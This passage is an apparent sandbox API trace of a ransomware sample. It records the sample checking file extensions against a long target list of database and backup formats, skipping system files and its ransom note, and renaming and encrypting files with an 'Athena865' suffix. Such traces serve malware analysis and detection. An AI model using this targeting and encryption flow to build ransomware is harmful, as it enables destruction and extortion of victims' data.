(lpString1="exe", lpString2="fic") returned -1 [0047.716] lstrlenW (lpString="flexolibrary") returned 12 [0047.716] lstrcmpiW (lpString1="gDevices.exe", lpString2="flexolibrary") returned 1 [0047.716] lstrlenW (lpString="fm5") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0047.716] lstrlenW (lpString="fmp") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0047.716] lstrlenW (lpString="fmp12") returned 5 [0047.716] lstrcmpiW (lpString1="s.exe", lpString2="fmp12") returned 1 [0047.716] lstrlenW (lpString="fmpsl") returned 5 [0047.716] lstrcmpiW (lpString1="s.exe", lpString2="fmpsl") returned 1 [0047.716] lstrlenW (lpString="fol") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0047.716] lstrlenW (lpString="fp3") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0047.716] lstrlenW (lpString="fp4") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0047.716] lstrlenW (lpString="fp5") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0047.716] lstrlenW (lpString="fp7") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0047.716] lstrlenW (lpString="fpt") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0047.716] lstrlenW (lpString="frm") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0047.716] lstrlenW (lpString="gdb") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0047.716] lstrlenW (lpString="gdb") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0047.716] lstrlenW (lpString="grdb") returned 4 [0047.717] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0047.717] lstrlenW (lpString="gwi") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0047.717] lstrlenW (lpString="hdb") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0047.717] lstrlenW (lpString="his") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0047.717] lstrlenW (lpString="ib") returned 2 [0047.717] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0047.717] lstrlenW (lpString="idb") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0047.717] lstrlenW (lpString="ihx") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0047.717] lstrlenW (lpString="itdb") returned 4 [0047.717] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0047.717] lstrlenW (lpString="itw") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0047.717] lstrlenW (lpString="jet") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0047.717] lstrlenW (lpString="jtx") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0047.717] lstrlenW (lpString="kdb") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0047.717] lstrlenW (lpString="kexi") returned 4 [0047.717] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0047.717] lstrlenW (lpString="kexic") returned 5 [0047.717] lstrcmpiW (lpString1="s.exe", lpString2="kexic") returned 1 [0047.717] lstrlenW (lpString="kexis") returned 5 [0047.717] lstrcmpiW (lpString1="s.exe", lpString2="kexis") returned 1 [0047.717] lstrlenW (lpString="lgc") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0047.717] lstrlenW (lpString="lwx") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0047.717] lstrlenW (lpString="maf") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0047.717] lstrlenW (lpString="maq") returned 3 [0047.717] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0047.718] lstrlenW (lpString="mar") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0047.718] lstrlenW (lpString="marshal") returned 7 [0047.718] lstrcmpiW (lpString1="ces.exe", lpString2="marshal") returned -1 [0047.718] lstrlenW (lpString="mas") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0047.718] lstrlenW (lpString="mav") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0047.718] lstrlenW (lpString="maw") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0047.718] lstrlenW (lpString="mdbhtml") returned 7 [0047.718] lstrcmpiW (lpString1="ces.exe", lpString2="mdbhtml") returned -1 [0047.718] lstrlenW (lpString="mdn") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0047.718] lstrlenW (lpString="mdt") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0047.718] lstrlenW (lpString="mfd") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0047.718] lstrlenW (lpString="mpd") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0047.718] lstrlenW (lpString="mrg") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0047.718] lstrlenW (lpString="mud") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0047.718] lstrlenW (lpString="mwb") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0047.718] lstrlenW (lpString="myd") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0047.718] lstrlenW (lpString="ndf") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0047.718] lstrlenW (lpString="nnt") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0047.718] lstrlenW (lpString="nrmlib") returned 6 [0047.718] lstrcmpiW (lpString1="es.exe", lpString2="nrmlib") returned -1 [0047.718] lstrlenW (lpString="ns2") returned 3 [0047.718] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0047.718] lstrlenW (lpString="ns3") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0047.719] lstrlenW (lpString="ns4") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0047.719] lstrlenW (lpString="nsf") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0047.719] lstrlenW (lpString="nv") returned 2 [0047.719] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0047.719] lstrlenW (lpString="nv2") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0047.719] lstrlenW (lpString="nwdb") returned 4 [0047.719] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0047.719] lstrlenW (lpString="nyf") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0047.719] lstrlenW (lpString="odb") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0047.719] lstrlenW (lpString="odb") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0047.719] lstrlenW (lpString="oqy") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0047.719] lstrlenW (lpString="ora") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0047.719] lstrlenW (lpString="orx") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0047.719] lstrlenW (lpString="owc") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0047.719] lstrlenW (lpString="p96") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0047.719] lstrlenW (lpString="p97") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0047.719] lstrlenW (lpString="pan") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0047.719] lstrlenW (lpString="pdb") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0047.719] lstrlenW (lpString="pdm") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0047.719] lstrlenW (lpString="pnz") returned 3 [0047.719] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0047.720] lstrlenW (lpString="qry") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0047.720] lstrlenW (lpString="qvd") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0047.720] lstrlenW (lpString="rbf") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0047.720] lstrlenW (lpString="rctd") returned 4 [0047.720] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0047.720] lstrlenW (lpString="rod") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0047.720] lstrlenW (lpString="rodx") returned 4 [0047.720] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0047.720] lstrlenW (lpString="rpd") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0047.720] lstrlenW (lpString="rsd") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0047.720] lstrlenW (lpString="sas7bdat") returned 8 [0047.720] lstrcmpiW (lpString1="ices.exe", lpString2="sas7bdat") returned -1 [0047.720] lstrlenW (lpString="sbf") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0047.720] lstrlenW (lpString="scx") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0047.720] lstrlenW (lpString="sdb") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0047.720] lstrlenW (lpString="sdc") returned 3 [0047.720] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0047.721] lstrlenW (lpString="sdf") returned 3 [0047.721] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0047.721] lstrlenW (lpString="sis") returned 3 [0047.721] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0047.721] lstrlenW (lpString="spq") returned 3 [0047.721] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0047.721] lstrlenW (lpString="te") returned 2 [0047.721] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0047.721] lstrlenW (lpString="teacher") returned 7 [0047.722] lstrcmpiW (lpString1="ces.exe", lpString2="teacher") returned -1 [0047.722] lstrlenW (lpString="tmd") returned 3 [0047.722] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0047.722] lstrlenW (lpString="tps") returned 3 [0047.723] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0047.723] lstrlenW (lpString="trc") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0047.724] lstrlenW (lpString="trc") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0047.724] lstrlenW (lpString="trm") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0047.724] lstrlenW (lpString="udb") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0047.724] lstrlenW (lpString="udl") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0047.724] lstrlenW (lpString="usr") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0047.724] lstrlenW (lpString="v12") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0047.724] lstrlenW (lpString="vis") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0047.724] lstrlenW (lpString="vpd") returned 3 [0047.724] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0047.725] lstrlenW (lpString="vvv") returned 3 [0047.725] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0047.725] lstrlenW (lpString="wdb") returned 3 [0047.725] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0047.725] lstrlenW (lpString="wmdb") returned 4 [0047.726] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0047.726] lstrlenW (lpString="wrk") returned 3 [0047.726] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0047.726] lstrlenW (lpString="xdb") returned 3 [0047.726] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0047.726] lstrlenW (lpString="xld") returned 3 [0047.726] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0047.726] lstrlenW (lpString="xmlff") returned 5 [0047.726] lstrcmpiW (lpString1="s.exe", lpString2="xmlff") returned -1 [0047.726] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe.Athena865") returned 72 [0047.726] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe.athena865"), dwFlags=0x1) returned 1 [0047.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0047.729] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=92936) returned 1 [0047.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.730] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.730] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.731] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16e10, lpName=0x0) returned 0x154 [0047.733] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16e10) returned 0x100000 [0047.744] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.745] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.745] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0047.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0047.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.746] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0047.747] CloseHandle (hObject=0x154) returned 1 [0047.747] CloseHandle (hObject=0x17c) returned 1 [0047.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.747] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67366c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67366c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb675c828, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0047.747] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.747] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.747] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0047.747] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0047.747] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="windows") returned -1 [0047.747] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="bootmgr") returned 1 [0047.747] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="temp") returned -1 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="pagefile.sys") returned -1 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="boot") returned 1 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="ids.txt") returned 1 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="ntuser.dat") returned -1 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="perflogs") returned -1 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="MSBuild") returned -1 [0047.748] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0047.748] lstrcpyW (in: lpString1=0x241e8a0, lpString2="ImagingEngine.dll" | out: lpString1="ImagingEngine.dll") returned="ImagingEngine.dll" [0047.748] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0047.748] lstrlenW (lpString="Athena865") returned 9 [0047.748] lstrcmpiW (lpString1="ngine.dll", lpString2="Athena865") returned 1 [0047.748] lstrlenW (lpString=".dll") returned 4 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".dll") returned 1 [0047.748] lstrlenW (lpString=".lnk") returned 4 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".lnk") returned 1 [0047.748] lstrlenW (lpString=".ini") returned 4 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".ini") returned 1 [0047.748] lstrlenW (lpString=".sys") returned 4 [0047.748] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".sys") returned 1 [0047.748] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0047.748] lstrlenW (lpString="bak") returned 3 [0047.748] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0047.748] lstrlenW (lpString="ba_") returned 3 [0047.748] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0047.748] lstrlenW (lpString="dbb") returned 3 [0047.748] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0047.748] lstrlenW (lpString="vmdk") returned 4 [0047.748] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0047.748] lstrlenW (lpString="rar") returned 3 [0047.748] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0047.748] lstrlenW (lpString="zip") returned 3 [0047.748] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0047.748] lstrlenW (lpString="tgz") returned 3 [0047.748] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0047.748] lstrlenW (lpString="vbox") returned 4 [0047.748] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0047.749] lstrlenW (lpString="vdi") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0047.749] lstrlenW (lpString="vhd") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0047.749] lstrlenW (lpString="vhdx") returned 4 [0047.749] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0047.749] lstrlenW (lpString="avhd") returned 4 [0047.749] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0047.749] lstrlenW (lpString="db") returned 2 [0047.749] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0047.749] lstrlenW (lpString="db2") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0047.749] lstrlenW (lpString="db3") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0047.749] lstrlenW (lpString="dbf") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0047.749] lstrlenW (lpString="mdf") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0047.749] lstrlenW (lpString="mdb") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0047.749] lstrlenW (lpString="sql") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0047.749] lstrlenW (lpString="sqlite") returned 6 [0047.749] lstrcmpiW (lpString1="ne.dll", lpString2="sqlite") returned -1 [0047.749] lstrlenW (lpString="sqlite3") returned 7 [0047.749] lstrcmpiW (lpString1="ine.dll", lpString2="sqlite3") returned -1 [0047.749] lstrlenW (lpString="sqlitedb") returned 8 [0047.749] lstrcmpiW (lpString1="gine.dll", lpString2="sqlitedb") returned -1 [0047.749] lstrlenW (lpString="xml") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0047.749] lstrlenW (lpString="$er") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0047.749] lstrlenW (lpString="4dd") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0047.749] lstrlenW (lpString="4dl") returned 3 [0047.749] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0047.749] lstrlenW (lpString="^^^") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0047.750] lstrlenW (lpString="abs") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0047.750] lstrlenW (lpString="abx") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0047.750] lstrlenW (lpString="accdb") returned 5 [0047.750] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0047.750] lstrlenW (lpString="accdc") returned 5 [0047.750] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0047.750] lstrlenW (lpString="accde") returned 5 [0047.750] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0047.750] lstrlenW (lpString="accdr") returned 5 [0047.750] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0047.750] lstrlenW (lpString="accdt") returned 5 [0047.750] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0047.750] lstrlenW (lpString="accdw") returned 5 [0047.750] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0047.750] lstrlenW (lpString="accft") returned 5 [0047.750] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0047.750] lstrlenW (lpString="adb") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0047.750] lstrlenW (lpString="adb") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0047.750] lstrlenW (lpString="ade") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0047.750] lstrlenW (lpString="adf") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0047.750] lstrlenW (lpString="adn") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0047.750] lstrlenW (lpString="adp") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0047.750] lstrlenW (lpString="alf") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0047.750] lstrlenW (lpString="ask") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0047.750] lstrlenW (lpString="btr") returned 3 [0047.750] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0047.751] lstrlenW (lpString="cat") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0047.751] lstrlenW (lpString="cdb") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0047.751] lstrlenW (lpString="ckp") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0047.751] lstrlenW (lpString="cma") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0047.751] lstrlenW (lpString="cpd") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0047.751] lstrlenW (lpString="dacpac") returned 6 [0047.751] lstrcmpiW (lpString1="ne.dll", lpString2="dacpac") returned 1 [0047.751] lstrlenW (lpString="dad") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0047.751] lstrlenW (lpString="dadiagrams") returned 10 [0047.751] lstrcmpiW (lpString1="Engine.dll", lpString2="dadiagrams") returned 1 [0047.751] lstrlenW (lpString="daschema") returned 8 [0047.751] lstrcmpiW (lpString1="gine.dll", lpString2="daschema") returned 1 [0047.751] lstrlenW (lpString="db-journal") returned 10 [0047.751] lstrcmpiW (lpString1="Engine.dll", lpString2="db-journal") returned 1 [0047.751] lstrlenW (lpString="db-shm") returned 6 [0047.751] lstrcmpiW (lpString1="ne.dll", lpString2="db-shm") returned 1 [0047.751] lstrlenW (lpString="db-wal") returned 6 [0047.751] lstrcmpiW (lpString1="ne.dll", lpString2="db-wal") returned 1 [0047.751] lstrlenW (lpString="dbc") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0047.751] lstrlenW (lpString="dbs") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0047.751] lstrlenW (lpString="dbt") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0047.751] lstrlenW (lpString="dbv") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0047.751] lstrlenW (lpString="dbx") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0047.751] lstrlenW (lpString="dcb") returned 3 [0047.751] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0047.752] lstrlenW (lpString="dct") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0047.752] lstrlenW (lpString="dcx") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0047.752] lstrlenW (lpString="ddl") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0047.752] lstrlenW (lpString="dlis") returned 4 [0047.752] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0047.752] lstrlenW (lpString="dp1") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0047.752] lstrlenW (lpString="dqy") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0047.752] lstrlenW (lpString="dsk") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0047.752] lstrlenW (lpString="dsn") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0047.752] lstrlenW (lpString="dtsx") returned 4 [0047.752] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0047.752] lstrlenW (lpString="dxl") returned 